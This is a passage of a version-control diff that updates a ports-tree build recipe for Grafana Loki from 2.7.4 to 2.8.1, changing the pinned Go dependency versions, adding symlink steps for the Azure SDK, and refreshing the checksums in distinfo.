grafana:memberlist:09ffed8adbbe:grafana_memberlist/vendor/github.com/hashicorp/memberlist \ grafana:regexp:b4c2bcb0a4b6:grafana_regexp/vendor/github.com/grafana/regexp \ - grafana:tail:e88cf3c7a8f6:grafana_tail/vendor/github.com/hpcloud/tail \ + grafana:tail:3a1c242a4d7b:grafana_tail/vendor/github.com/grafana/tail \ grpc-ecosystem:go-grpc-middleware:v1.3.0:grpc_ecosystem_go_grpc_middleware/vendor/github.com/grpc-ecosystem/go-grpc-middleware \ grpc-ecosystem:grpc-opentracing:8e809c8a8645:grpc_ecosystem_grpc_opentracing/vendor/github.com/grpc-ecosystem/grpc-opentracing \ - grpc:grpc-go:v1.45.0:grpc_grpc_go/vendor/google.golang.org/grpc \ + grpc:grpc-go:v1.52.3:grpc_grpc_go/vendor/google.golang.org/grpc \ hailocab:go-hostpool:e80d13ce29ed:hailocab_go_hostpool/vendor/github.com/hailocab/go-hostpool \ - hashicorp:consul:api/v1.15.2:hashicorp_consul_api \ + hashicorp:consul:api/v1.18.0:hashicorp_consul_api \ hashicorp:consul:v1.5.1:hashicorp_consul/vendor/github.com/hashicorp/consul \ hashicorp:errwrap:v1.1.0:hashicorp_errwrap/vendor/github.com/hashicorp/errwrap \ hashicorp:go-cleanhttp:v0.5.2:hashicorp_go_cleanhttp/vendor/github.com/hashicorp/go-cleanhttp \ - hashicorp:go-hclog:v0.16.2:hashicorp_go_hclog/vendor/github.com/hashicorp/go-hclog \ + hashicorp:go-hclog:v1.2.0:hashicorp_go_hclog/vendor/github.com/hashicorp/go-hclog \ hashicorp:go-immutable-radix:v1.3.1:hashicorp_go_immutable_radix/vendor/github.com/hashicorp/go-immutable-radix \ hashicorp:go-msgpack:v0.5.5:hashicorp_go_msgpack/vendor/github.com/hashicorp/go-msgpack \ hashicorp:go-multierror:v1.1.1:hashicorp_go_multierror/vendor/github.com/hashicorp/go-multierror \ + hashicorp:go-retryablehttp:v0.7.2:hashicorp_go_retryablehttp/vendor/github.com/hashicorp/go-retryablehttp \ hashicorp:go-rootcerts:v1.0.2:hashicorp_go_rootcerts/vendor/github.com/hashicorp/go-rootcerts \ hashicorp:go-sockaddr:v1.0.2:hashicorp_go_sockaddr/vendor/github.com/hashicorp/go-sockaddr \ - hashicorp:go-uuid:v1.0.2:hashicorp_go_uuid/vendor/github.com/hashicorp/go-uuid \ - hashicorp:golang-lru:v0.5.4:hashicorp_golang_lru/vendor/github.com/hashicorp/golang-lru \ - hashicorp:serf:v0.9.7:hashicorp_serf/vendor/github.com/hashicorp/serf \ - heroku:x:v0.0.50:heroku_x/vendor/github.com/heroku/x \ - huandu:xstrings:v1.3.1:huandu_xstrings/vendor/github.com/huandu/xstrings \ - imdario:mergo:v0.3.12:imdario_mergo/vendor/github.com/imdario/mergo \ - inetaf:netaddr:c74959edd3b6:inetaf_netaddr/vendor/inet.af/netaddr \ + hashicorp:go-uuid:v1.0.3:hashicorp_go_uuid/vendor/github.com/hashicorp/go-uuid \ + hashicorp:golang-lru:v0.6.0:hashicorp_golang_lru/vendor/github.com/hashicorp/golang-lru \ + hashicorp:serf:v0.10.1:hashicorp_serf/vendor/github.com/hashicorp/serf \ + heroku:x:v0.0.55:heroku_x/vendor/github.com/heroku/x \ + huandu:xstrings:v1.3.3:huandu_xstrings/vendor/github.com/huandu/xstrings \ + imdario:mergo:v0.3.13:imdario_mergo/vendor/github.com/imdario/mergo \ influxdata:go-syslog:a1889d947b48:influxdata_go_syslog_v3/vendor/github.com/influxdata/go-syslog/v3 \ influxdata:telegraf:v1.16.3:influxdata_telegraf/vendor/github.com/influxdata/telegraf \ jcmturner:aescts:v2.0.0:jcmturner_aescts_v2/vendor/github.com/jcmturner/aescts \ jcmturner:dnsutils:v2.0.0:jcmturner_dnsutils_v2/vendor/github.com/jcmturner/dnsutils \ - jcmturner:gofork:v1.0.0:jcmturner_gofork/vendor/github.com/jcmturner/gofork \ - jcmturner:gokrb5:v8.4.2:jcmturner_gokrb5_v8/vendor/github.com/jcmturner/gokrb5 \ + jcmturner:gofork:v1.7.6:jcmturner_gofork/vendor/github.com/jcmturner/gofork \ + jcmturner:gokrb5:v8.4.3:jcmturner_gokrb5_v8/vendor/github.com/jcmturner/gokrb5 \ jcmturner:rpc:v2.0.3:jcmturner_rpc_v2/vendor/github.com/jcmturner/rpc \ jmespath:go-jmespath:v0.4.0:jmespath_go_jmespath/vendor/github.com/jmespath/go-jmespath \ joncrlsn:dque:956d14155fa2:joncrlsn_dque/vendor/github.com/joncrlsn/dque \ @@ -203,67 +214,70 @@ GH_TUPLE= \ jpillora:backoff:v1.0.0:jpillora_backoff/vendor/github.com/jpillora/backoff \ json-iterator:go:v1.1.12:json_iterator_go/vendor/github.com/json-iterator/go \ julienschmidt:httprouter:v1.3.0:julienschmidt_httprouter/vendor/github.com/julienschmidt/httprouter \ - klauspost:compress:v1.15.11:klauspost_compress/vendor/github.com/klauspost/compress \ - klauspost:cpuid:v2.0.14:klauspost_cpuid_v2/vendor/github.com/klauspost/cpuid/v2 \ + klauspost:compress:v1.15.15:klauspost_compress/vendor/github.com/klauspost/compress \ + klauspost:cpuid:v2.1.0:klauspost_cpuid_v2/vendor/github.com/klauspost/cpuid/v2 \ klauspost:pgzip:v1.2.5:klauspost_pgzip/vendor/github.com/klauspost/pgzip \ - kubernetes-sigs:json:f223a00ba0e2:kubernetes_sigs_json/vendor/sigs.k8s.io/json \ + kubernetes-sigs:json:bc3834ca7abd:kubernetes_sigs_json/vendor/sigs.k8s.io/json \ kubernetes-sigs:structured-merge-diff:v4.2.3:kubernetes_sigs_structured_merge_diff/vendor/sigs.k8s.io/structured-merge-diff/v4 \ kubernetes-sigs:yaml:v1.3.0:kubernetes_sigs_yaml/vendor/sigs.k8s.io/yaml \ - kubernetes:api:v0.23.6:kubernetes_api/vendor/k8s.io/api \ - kubernetes:apimachinery:v0.23.6:kubernetes_apimachinery/vendor/k8s.io/apimachinery \ - kubernetes:client-go:v0.23.6:kubernetes_client_go/vendor/k8s.io/client-go \ + kubernetes:api:v0.26.1:kubernetes_api/vendor/k8s.io/api \ + kubernetes:apimachinery:v0.26.1:kubernetes_apimachinery/vendor/k8s.io/apimachinery \ + kubernetes:client-go:v0.26.1:kubernetes_client_go/vendor/k8s.io/client-go \ kubernetes:klog:v1.0.0:kubernetes_klog/vendor/k8s.io/klog \ - kubernetes:klog:v2.80.0:kubernetes_klog_1/vendor/k8s.io/klog/v2 \ - kubernetes:kube-openapi:e816edb12b65:kubernetes_kube_openapi/vendor/k8s.io/kube-openapi \ - kubernetes:utils:ee6ede2d64ed:kubernetes_utils/vendor/k8s.io/utils \ + kubernetes:klog:v2.80.1:kubernetes_klog_1/vendor/k8s.io/klog/v2 \ + kubernetes:kube-openapi:f3cff1453715:kubernetes_kube_openapi/vendor/k8s.io/kube-openapi \ + kubernetes:utils:99ec85e7a448:kubernetes_utils/vendor/k8s.io/utils \ + kylelemons:godebug:v1.1.0:kylelemons_godebug/vendor/github.com/kylelemons/godebug \ leodido:ragel-machinery:299bdde78165:leodido_ragel_machinery/vendor/github.com/leodido/ragel-machinery \ mailru:easyjson:v0.7.7:mailru_easyjson/vendor/github.com/mailru/easyjson \ - mattn:go-colorable:v0.1.12:mattn_go_colorable/vendor/github.com/mattn/go-colorable \ + mattn:go-colorable:v0.1.13:mattn_go_colorable/vendor/github.com/mattn/go-colorable \ mattn:go-ieproxy:v0.0.1:mattn_go_ieproxy/vendor/github.com/mattn/go-ieproxy \ - mattn:go-isatty:v0.0.14:mattn_go_isatty/vendor/github.com/mattn/go-isatty \ - matttproud:golang_protobuf_extensions:c182affec369:matttproud_golang_protobuf_extensions/vendor/github.com/matttproud/golang_protobuf_extensions \ + mattn:go-isatty:v0.0.17:mattn_go_isatty/vendor/github.com/mattn/go-isatty \ + matttproud:golang_protobuf_extensions:v1.0.4:matttproud_golang_protobuf_extensions/vendor/github.com/matttproud/golang_protobuf_extensions \ miekg:dns:v1.1.50:miekg_dns/vendor/github.com/miekg/dns \ minio:md5-simd:v1.1.2:minio_md5_simd/vendor/github.com/minio/md5-simd \ - minio:minio-go:ef3e45ed9cdb:minio_minio_go_v7/vendor/github.com/minio/minio-go/v7 \ + minio:minio-go:v7.0.45:minio_minio_go_v7/vendor/github.com/minio/minio-go/v7 \ minio:sha256-simd:v1.0.0:minio_sha256_simd/vendor/github.com/minio/sha256-simd \ mitchellh:copystructure:v1.0.0:mitchellh_copystructure/vendor/github.com/mitchellh/copystructure \ mitchellh:go-homedir:v1.1.0:mitchellh_go_homedir/vendor/github.com/mitchellh/go-homedir \ + mitchellh:go-wordwrap:v1.0.1:mitchellh_go_wordwrap/vendor/github.com/mitchellh/go-wordwrap \ mitchellh:mapstructure:v1.5.0:mitchellh_mapstructure/vendor/github.com/mitchellh/mapstructure \ mitchellh:reflectwalk:v1.0.1:mitchellh_reflectwalk/vendor/github.com/mitchellh/reflectwalk \ - moby:moby:v20.10.18:moby_moby/vendor/github.com/docker/docker \ + moby:moby:v20.10.23:moby_moby/vendor/github.com/docker/docker \ moby:term:3f7ff695adc6:moby_term/vendor/github.com/moby/term \ modern-go:concurrent:bacd9c7ef1dd:modern_go_concurrent/vendor/github.com/modern-go/concurrent \ modern-go:reflect2:v1.0.2:modern_go_reflect2/vendor/github.com/modern-go/reflect2 \ - mongodb:mongo-go-driver:v1.10.2:mongodb_mongo_go_driver/vendor/go.mongodb.org/mongo-driver \ + mongodb:mongo-go-driver:v1.11.0:mongodb_mongo_go_driver/vendor/go.mongodb.org/mongo-driver \ morikuni:aec:v1.0.0:morikuni_aec/vendor/github.com/morikuni/aec \ + munnerz:goautoneg:a7dc8b61c822:munnerz_goautoneg/vendor/github.com/munnerz/goautoneg \ mwitkow:go-conntrack:2f068394615f:mwitkow_go_conntrack/vendor/github.com/mwitkow/go-conntrack \ ncw:swift:v1.0.53:ncw_swift/vendor/github.com/ncw/swift \ oklog:run:v1.1.0:oklog_run/vendor/github.com/oklog/run \ oklog:ulid:v1.3.1:oklog_ulid/vendor/github.com/oklog/ulid \ - open-telemetry:opentelemetry-go-contrib:zpages/v0.36.0:open_telemetry_opentelemetry_go_contrib/vendor/go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp \ - open-telemetry:opentelemetry-go:metric/v0.32.0:open_telemetry_opentelemetry_go_1/vendor/go.opentelemetry.io/otel/metric \ - open-telemetry:opentelemetry-go:v1.10.0:open_telemetry_opentelemetry_go/vendor/go.opentelemetry.io/otel \ + open-telemetry:opentelemetry-go-contrib:zpages/v0.37.0:open_telemetry_opentelemetry_go_contrib/vendor/go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp \ + open-telemetry:opentelemetry-go:metric/v0.34.0:open_telemetry_opentelemetry_go_1/vendor/go.opentelemetry.io/otel/metric \ + open-telemetry:opentelemetry-go:v1.11.2:open_telemetry_opentelemetry_go/vendor/go.opentelemetry.io/otel \ opencontainers:go-digest:v1.0.0:opencontainers_go_digest/vendor/github.com/opencontainers/go-digest \ opencontainers:image-spec:v1.0.2:opencontainers_image_spec/vendor/github.com/opencontainers/image-spec \ opentracing-contrib:go-grpc:73cb765af46e:opentracing_contrib_go_grpc/vendor/github.com/opentracing-contrib/go-grpc \ opentracing-contrib:go-stdlib:v1.0.0:opentracing_contrib_go_stdlib/vendor/github.com/opentracing-contrib/go-stdlib \ opentracing:opentracing-go:v1.2.0:opentracing_opentracing_go/vendor/github.com/opentracing/opentracing-go \ - owen-d:gomemcache:ce4268ea75ae:owen_d_gomemcache/vendor/github.com/bradfitz/gomemcache \ - pierrec:lz4:v2.6.1:pierrec_lz4/vendor/github.com/pierrec/lz4 \ - pierrec:lz4:v4.1.12:pierrec_lz4_v4/vendor/github.com/pierrec/lz4/v4 \ + oschwald:geoip2-golang:v1.8.0:oschwald_geoip2_golang/vendor/github.com/oschwald/geoip2-golang \ + oschwald:maxminddb-golang:v1.10.0:oschwald_maxminddb_golang/vendor/github.com/oschwald/maxminddb-golang \ + pierrec:lz4:v4.1.17:pierrec_lz4_v4/vendor/github.com/pierrec/lz4/v4 \ + pkg:browser:681adbf594b8:pkg_browser/vendor/github.com/pkg/browser \ pkg:errors:v0.9.1:pkg_errors/vendor/github.com/pkg/errors \ pmezard:go-difflib:5d4384ee4fb2:pmezard_go_difflib/vendor/github.com/pmezard/go-difflib \ - prometheus:alertmanager:v0.24.0:prometheus_alertmanager/vendor/github.com/prometheus/alertmanager \ - prometheus:client_golang:v1.13.0:prometheus_client_golang/vendor/github.com/prometheus/client_golang \ - prometheus:client_model:v0.2.0:prometheus_client_model/vendor/github.com/prometheus/client_model \ + prometheus:alertmanager:v0.25.0:prometheus_alertmanager/vendor/github.com/prometheus/alertmanager \ + prometheus:client_golang:v1.14.0:prometheus_client_golang/vendor/github.com/prometheus/client_golang \ + prometheus:client_model:v0.3.0:prometheus_client_model/vendor/github.com/prometheus/client_model \ prometheus:common:v0.1.0:prometheus_common_sigv4/vendor/github.com/prometheus/common/sigv4 \ - prometheus:common:v0.37.0:prometheus_common/vendor/github.com/prometheus/common \ - prometheus:exporter-toolkit:2434b08435da:prometheus_exporter_toolkit/vendor/github.com/prometheus/exporter-toolkit \ - prometheus:procfs:v0.8.0:prometheus_procfs/vendor/github.com/prometheus/procfs \ - prometheus:prometheus:v0.39.1:prometheus_prometheus/vendor/github.com/prometheus/prometheus \ + prometheus:common:v0.39.0:prometheus_common/vendor/github.com/prometheus/common \ + prometheus:exporter-toolkit:v0.8.2:prometheus_exporter_toolkit/vendor/github.com/prometheus/exporter-toolkit \ + prometheus:procfs:v0.9.0:prometheus_procfs/vendor/github.com/prometheus/procfs \ + prometheus:prometheus:v0.42.0:prometheus_prometheus/vendor/github.com/prometheus/prometheus \ protocolbuffers:protobuf-go:v1.28.1:protocolbuffers_protobuf_go/vendor/google.golang.org/protobuf \ rcrowley:go-metrics:cf1acfcdf475:rcrowley_go_metrics/vendor/github.com/rcrowley/go-metrics \ - rogpeppe:go-internal:v1.9.0:rogpeppe_go_internal/vendor/github.com/rogpeppe/go-internal \ rs:xid:v1.4.0:rs_xid/vendor/github.com/rs/xid \ rsc:binaryregexp:v0.2.0:rsc_binaryregexp/vendor/rsc.io/binaryregexp \ sean-:seed:e2103e2c3529:sean__seed/vendor/github.com/sean-/seed \ @@ -272,17 +286,15 @@ GH_TUPLE= \ shopspring:decimal:v1.2.0:shopspring_decimal/vendor/github.com/shopspring/decimal \ shurcooL:httpfs:8d4bc4ba7749:shurcool_httpfs/vendor/github.com/shurcooL/httpfs \ shurcooL:vfsgen:0d455de96546:shurcool_vfsgen/vendor/github.com/shurcooL/vfsgen \ - sirupsen:logrus:v1.8.1:sirupsen_logrus/vendor/github.com/sirupsen/logrus \ - sony:gobreaker:v0.4.1:sony_gobreaker/vendor/github.com/sony/gobreaker \ + sirupsen:logrus:v1.9.0:sirupsen_logrus/vendor/github.com/sirupsen/logrus \ + sony:gobreaker:v0.5.0:sony_gobreaker/vendor/github.com/sony/gobreaker \ spaolacci:murmur3:v1.1.0:spaolacci_murmur3/vendor/github.com/spaolacci/murmur3 \ - spf13:afero:v1.9.2:spf13_afero/vendor/github.com/spf13/afero \ + spf13:afero:v1.9.3:spf13_afero/vendor/github.com/spf13/afero \ spf13:cast:v1.3.1:spf13_cast/vendor/github.com/spf13/cast \ spf13:pflag:v1.0.5:spf13_pflag/vendor/github.com/spf13/pflag \ - stretchr:objx:v0.4.0:stretchr_objx/vendor/github.com/stretchr/objx \ - stretchr:testify:v1.8.0:stretchr_testify/vendor/github.com/stretchr/testify \ - thanos-io:objstore:ce338803bc1e:thanos_io_objstore/vendor/github.com/thanos-io/objstore \ - thanos-io:thanos:c5505f5eaa7d:thanos_io_thanos_1 \ - thanos-io:thanos:v0.28.0:thanos_io_thanos/vendor/github.com/thanos-io/thanos \ + stretchr:objx:v0.5.0:stretchr_objx/vendor/github.com/stretchr/objx \ + stretchr:testify:v1.8.1:stretchr_testify/vendor/github.com/stretchr/testify \ + thanos-io:objstore:11ffbc490204:thanos_io_objstore/vendor/github.com/thanos-io/objstore \ tonistiigi:fifo:a9fb20d87448:tonistiigi_fifo/vendor/github.com/tonistiigi/fifo \ uber-go:atomic:v1.10.0:uber_go_atomic/vendor/go.uber.org/atomic \ uber-go:goleak:v1.2.0:uber_go_goleak/vendor/go.uber.org/goleak \ @@ -291,14 +303,14 @@ GH_TUPLE= \ uber:jaeger-client-go:v2.30.0:uber_jaeger_client_go/vendor/github.com/uber/jaeger-client-go \ uber:jaeger-lib:v2.4.1:uber_jaeger_lib/vendor/github.com/uber/jaeger-lib \ ugorji:go:v1.1.7:ugorji_go_codec/vendor/github.com/ugorji/go \ - weaveworks:common:da3fde973eec:weaveworks_common/vendor/github.com/weaveworks/common \ + weaveworks:common:7c2720a9024d:weaveworks_common/vendor/github.com/weaveworks/common \ weaveworks:promrus:v1.2.0:weaveworks_promrus/vendor/github.com/weaveworks/promrus \ willf:bitset:v1.1.11:willf_bitset/vendor/github.com/willf/bitset \ willf:bloom:v2.0.3:willf_bloom/vendor/github.com/willf/bloom \ xdg-go:pbkdf2:v1.0.0:xdg_go_pbkdf2/vendor/github.com/xdg-go/pbkdf2 \ - xdg-go:scram:v1.1.1:xdg_go_scram/vendor/github.com/xdg-go/scram \ - xdg-go:stringprep:v1.0.3:xdg_go_stringprep/vendor/github.com/xdg-go/stringprep \ - yuin:gopher-lua:f4c35e4016d9:yuin_gopher_lua/vendor/github.com/yuin/gopher-lua + xdg-go:scram:v1.1.2:xdg_go_scram/vendor/github.com/xdg-go/scram \ + xdg-go:stringprep:v1.0.4:xdg_go_stringprep/vendor/github.com/xdg-go/stringprep \ + yuin:gopher-lua:658193537a64:yuin_gopher_lua/vendor/github.com/yuin/gopher-lua USE_RC_SUBR= loki @@ -328,6 +340,14 @@ post-extract: @${RLN} ${WRKSRC_googleapis_google_cloud_go_pubsub}/pubsub ${WRKSRC}/vendor/cloud.google.com/go/pubsub @${RM} -r ${WRKSRC}/vendor/cloud.google.com/go/storage @${RLN} ${WRKSRC_googleapis_google_cloud_go_storage}/storage ${WRKSRC}/vendor/cloud.google.com/go/storage + @${RM} -r ${WRKSRC}/vendor/github.com/Azure/azure-sdk-for-go/sdk/azcore + @${RLN} ${WRKSRC_azure_azure_sdk_for_go_azcore}/sdk/azcore ${WRKSRC}/vendor/github.com/Azure/azure-sdk-for-go/sdk/azcore + @${RM} -r ${WRKSRC}/vendor/github.com/Azure/azure-sdk-for-go/sdk/azidentity + @${RLN} ${WRKSRC_azure_azure_sdk_for_go_azidentity}/sdk/azidentity ${WRKSRC}/vendor/github.com/Azure/azure-sdk-for-go/sdk/azidentity + @${RM} -r ${WRKSRC}/vendor/github.com/Azure/azure-sdk-for-go/sdk/internal + @${RLN} ${WRKSRC_azure_azure_sdk_for_go_internal}/sdk/internal ${WRKSRC}/vendor/github.com/Azure/azure-sdk-for-go/sdk/internal + @${RM} -r ${WRKSRC}/vendor/github.com/Azure/azure-sdk-for-go/sdk/storage/azblob + @${RLN} ${WRKSRC_azure_azure_sdk_for_go_azblob}/sdk/storage/azblob ${WRKSRC}/vendor/github.com/Azure/azure-sdk-for-go/sdk/storage/azblob @${RM} -r ${WRKSRC}/vendor/github.com/Azure/go-autorest/autorest @${RLN} ${WRKSRC_azure_go_autorest_autorest}/autorest ${WRKSRC}/vendor/github.com/Azure/go-autorest/autorest @${RM} -r ${WRKSRC}/vendor/github.com/Azure/go-autorest/autorest/adal @@ -353,9 +373,6 @@ post-extract: @${RLN} ${WRKSRC_aws_aws_sdk_go_v2_sts}/service/sts ${WRKSRC}/vendor/github.com/aws/aws-sdk-go-v2/service/sts @${RM} -r ${WRKSRC}/vendor/github.com/hashicorp/consul/api @${RLN} ${WRKSRC_hashicorp_consul_api}/api ${WRKSRC}/vendor/github.com/hashicorp/consul/api - @${RLN} ${WRKSRC_thanos_io_thanos_1} ${WRKSRC}/vendor/github.com/thanos-io/thanos - @${MKDIR} ${WRKSRC}/vendor/gopkg.in/fsnotify - @${RLN} ${WRKSRC_fsnotify_fsnotify_1} ${WRKSRC}/vendor/gopkg.in/fsnotify/fsnotify.v1 post-install: @${CP} ${WRKSRC}/cmd/loki/loki-local-config.yaml ${STAGEDIR}${PREFIX}/etc/loki.yaml.sample diff --git a/sysutils/loki/distinfo b/sysutils/loki/distinfo index e8777c5336b..b6a51e97c96 100644 --- a/sysutils/loki/distinfo +++ b/sysutils/loki/distinfo @@ -1,8 +1,16 @@ -TIMESTAMP = 1677795725 -SHA256 (grafana-loki-v2.7.4_GH0.tar.gz) = b5521c0d12699f59ddf48ff7eaacddaa56abe90da4579f35c18f0752fc8e95c0 -SIZE (grafana-loki-v2.7.4_GH0.tar.gz) = 36712759 +TIMESTAMP = 1682805991 +SHA256 (grafana-loki-v2.8.1_GH0.tar.gz) = 8b75f877445d60c86472eac77d122e0cf1f85d5f771d2a2a1a39241e6f6c5d5f +SIZE (grafana-loki-v2.8.1_GH0.tar.gz) = 39721806 SHA256 (Azure-azure-pipeline-go-v0.2.3_GH0.tar.gz) = 99bd58f4a07dd02d9615e3638b3bb6dbfad80ef678ccdb8e17e3fa2b0fef343e SIZE (Azure-azure-pipeline-go-v0.2.3_GH0.tar.gz) = 17102 +SHA256 (Azure-azure-sdk-for-go-2f352faf4f49_GH0.tar.gz) = 9b27a2c4a526c8fff2c3997f4b6596e31bbef6b853f38a0513c28626e377bc90 +SIZE (Azure-azure-sdk-for-go-2f352faf4f49_GH0.tar.gz) = 54346849 +SHA256 (Azure-azure-sdk-for-go-76834b7386c1_GH0.tar.gz) = 0329c3f04aff5d2b821df43b2923e088e815d3c2ed9b9ed1431a50722cbb88ef +SIZE (Azure-azure-sdk-for-go-76834b7386c1_GH0.tar.gz) = 54848062 +SHA256 (Azure-azure-sdk-for-go-96096feee7ba_GH0.tar.gz) = 91fda8230ab70e6a354e66ea0c9cdc8e959ae72ffcc438b5b3807c3789bbf5f9 +SIZE (Azure-azure-sdk-for-go-96096feee7ba_GH0.tar.gz) = 54848510 +SHA256 (Azure-azure-sdk-for-go-e3202264a0d4_GH0.tar.gz) = d533fe9fb0459dda11403d8c8696ed654020beb4b5dba7c0a4692536dd622268 +SIZE (Azure-azure-sdk-for-go-e3202264a0d4_GH0.tar.gz) = 11578252 SHA256 (Azure-azure-sdk-for-go-v36.2.0_GH0.tar.gz) = 1de6b4d2d0a015e91513acde2d0705a908e50f7efd9f832de22cbd4ef2976341 SIZE (Azure-azure-sdk-for-go-v36.2.0_GH0.tar.gz) = 19599233 SHA256 (Azure-go-ansiterm-d185dfc1b5a1_GH0.tar.gz) = 1a061bad3379d8f955a3c2bd34c2927f2e561e7a11418dda2927eb222e3cbbc5 @@ -11,10 +19,10 @@ SHA256 (Azure-go-autorest-446f41b7d65b_GH0.tar.gz) = 883e2603529a907a3da25d5e238 SIZE (Azure-go-autorest-446f41b7d65b_GH0.tar.gz) = 171840 SHA256 (Azure-go-autorest-70a178d6ca59_GH0.tar.gz) = ddb0e1d8372611cfa2286e6b9a75803c796513d29c77b8f4c12257d28c518d26 SIZE (Azure-go-autorest-70a178d6ca59_GH0.tar.gz) = 173487 -SHA256 (Azure-go-autorest-711dde1b1be6_GH0.tar.gz) = e5e11f2cdc41e209e1371b48be24bfd1095e51f7ae3e091d94b08ef6d927d6e7 -SIZE (Azure-go-autorest-711dde1b1be6_GH0.tar.gz) = 194826 -SHA256 (Azure-go-autorest-8c1b671de0dd_GH0.tar.gz) = 2ebdfd4a631ca6901142fddf1399f46742ce4d7ce42bada191e6dd1719a6d2ee -SIZE (Azure-go-autorest-8c1b671de0dd_GH0.tar.gz) = 173172 +SHA256 (Azure-go-autorest-79575dd7ba2e_GH0.tar.gz) = bb7d94b2004178bf4a4f2ab94f4e447dadd73d2cd9e25407b1cadaf618bbb414 +SIZE (Azure-go-autorest-79575dd7ba2e_GH0.tar.gz) = 194888 +SHA256 (Azure-go-autorest-9038e4a609b1_GH0.tar.gz) = a5d185b695b6db9a09c0f75ab34d6a73f219d514e0e88824759031de594f6826 +SIZE (Azure-go-autorest-9038e4a609b1_GH0.tar.gz) = 195008 SHA256 (Azure-go-autorest-autorest-v0.11.28_GH0.tar.gz) = 795757d98df100efc3db03ad4ed7cf16484e6eefe24e602e34c163fde5dd1699 SIZE (Azure-go-autorest-autorest-v0.11.28_GH0.tar.gz) = 194825 SHA256 (Azure-go-autorest-b3a0b30a7423_GH0.tar.gz) = 51b31571a26a5287eb67251aa69407bb6145f58253bdbb2e610b7eab7b0d762f @@ -25,20 +33,22 @@ SHA256 (Azure-go-autorest-tracing-v0.6.0_GH0.tar.gz) = b43cd0127dd6e91debe1eb988 SIZE (Azure-go-autorest-tracing-v0.6.0_GH0.tar.gz) = 167113 SHA256 (Azure-go-autorest-v14.2.0_GH0.tar.gz) = d0db0e47112570e3f2bd2e38ae56338f1e74625dd4cb553007082fdad5fd844d SIZE (Azure-go-autorest-v14.2.0_GH0.tar.gz) = 167851 +SHA256 (AzureAD-microsoft-authentication-library-for-go-v0.7.0_GH0.tar.gz) = 9d904c75c9910cb0557e074452a46e1fe9029a3ac8f70b943add4f87a335f3f7 +SIZE (AzureAD-microsoft-authentication-library-for-go-v0.7.0_GH0.tar.gz) = 124969 SHA256 (MasslessParticle-azure-storage-blob-go-b5e698eff68e_GH0.tar.gz) = 545e3f2538c56f1d7101511fd411c336d81a2cf716b2d07e4a159b9a66df173a SIZE (MasslessParticle-azure-storage-blob-go-b5e698eff68e_GH0.tar.gz) = 249595 SHA256 (Masterminds-goutils-v1.1.1_GH0.tar.gz) = 6eed023c54f386a71f360e19d34f7a43e640ac44dfc39c22ad4afd7ae04aaa3d SIZE (Masterminds-goutils-v1.1.1_GH0.tar.gz) = 14847 -SHA256 (Masterminds-semver-v3.1.1_GH0.tar.gz) = d029a39800f201d5b95ec5dbf653e5b20aab757783a6876be1b3017d1c4a444f -SIZE (Masterminds-semver-v3.1.1_GH0.tar.gz) = 24506 -SHA256 (Masterminds-sprig-v3.2.2_GH0.tar.gz) = 877f3d46e9eadec5644944ac265dd960f58f2b77355b636b2c0a3308b9a0e6ec -SIZE (Masterminds-sprig-v3.2.2_GH0.tar.gz) = 55500 +SHA256 (Masterminds-semver-v3.2.0_GH0.tar.gz) = c0e5b400a219f5b11d75009c56c69706dbe7d6056661c6aa6b5909103e477482 +SIZE (Masterminds-semver-v3.2.0_GH0.tar.gz) = 26066 +SHA256 (Masterminds-sprig-v3.2.3_GH0.tar.gz) = c420e5bba707d880acd7669f110199196438aa8ff617d97a0880c77b6e4e1d4c +SIZE (Masterminds-sprig-v3.2.3_GH0.tar.gz) = 56437 SHA256 (Microsoft-go-winio-v0.5.1_GH0.tar.gz) = 7d68437cf732590f4c3002d8a1b446f3f584387c3538bdd4862ebff5b0b8dda9 SIZE (Microsoft-go-winio-v0.5.1_GH0.tar.gz) = 91153 SHA256 (NYTimes-gziphandler-v1.1.1_GH0.tar.gz) = c236c216a16e4286338e66e0947938944992f918fe827c31f8745c0be98818d2 SIZE (NYTimes-gziphandler-v1.1.1_GH0.tar.gz) = 52107 -SHA256 (Shopify-sarama-v1.30.0_GH0.tar.gz) = 6a20441f54a3980dcd06e73923b7b600546309c22438158ccf9ad6bcf2d49aa7 -SIZE (Shopify-sarama-v1.30.0_GH0.tar.gz) = 313206 +SHA256 (Shopify-sarama-v1.38.1_GH0.tar.gz) = 528bb38538cc82034aa5ec0064592fa2b675d83bb3a8e597a288e184de4634ee +SIZE (Shopify-sarama-v1.38.1_GH0.tar.gz) = 419691 SHA256 (Workiva-go-datastructures-v1.0.53_GH0.tar.gz) = ab20c98b88c15746ffd78a4f1aa8e366053a2176e9086494c6ccca9c3f595565 SIZE (Workiva-go-datastructures-v1.0.53_GH0.tar.gz) = 178978 SHA256 (alecthomas-kingpin-v2.2.6_GH0.tar.gz) = 4624eae43489de8a71ea60efaf6744c581b6bd62909f7514c484c1ea0efaba5a @@ -49,8 +59,10 @@ SHA256 (alecthomas-units-b94a6e3cc137_GH0.tar.gz) = 85363142a53436bea696d297e5b5 SIZE (alecthomas-units-b94a6e3cc137_GH0.tar.gz) = 6012 SHA256 (alicebob-gopher-json-a9ecdc9d1d3a_GH0.tar.gz) = ce51bf794d26ef3a8a4d0e4e8a4b477ce4e78bbad6d317fd7c839af9ebfcc68a SIZE (alicebob-gopher-json-a9ecdc9d1d3a_GH0.tar.gz) = 3630 -SHA256 (alicebob-miniredis-v2.22.0_GH0.tar.gz) = 54fc1698b885c4aada011f1dcd297c9b9798a6da7061b2685902d20155f97167 -SIZE (alicebob-miniredis-v2.22.0_GH0.tar.gz) = 157979 +SHA256 (alicebob-miniredis-v2.30.0_GH0.tar.gz) = 7e11f9a73892a516bf33ca687088b6d2632f7d6935cc8b05fc0eacf78062c2e4 +SIZE (alicebob-miniredis-v2.30.0_GH0.tar.gz) = 169426 +SHA256 (aliyun-aliyun-oss-go-sdk-v2.2.2_GH0.tar.gz) = a5c43c1a4b9c455d1a39256c6ab1754cf32ba4530054095b7e48d01e277061d6 +SIZE (aliyun-aliyun-oss-go-sdk-v2.2.2_GH0.tar.gz) = 807742 SHA256 (armon-go-metrics-v0.4.0_GH0.tar.gz) = 24b4e3f7f859c2d4fe4e7153f6f1f77e7256f50dfb07fa53f5f19f0b30ed44c0 SIZE (armon-go-metrics-v0.4.0_GH0.tar.gz) = 37929 SHA256 (asaskevich-govalidator-f21760c49a8d_GH0.tar.gz) = 8d22a0b8a8870f814314637343ba97d598aed64c026ab1dab045ee43eb34d416 @@ -65,92 +77,100 @@ SHA256 (aws-aws-sdk-go-v2-v1.16.1_GH0.tar.gz) = 7bfde27368e728bcc2188723a5f17665 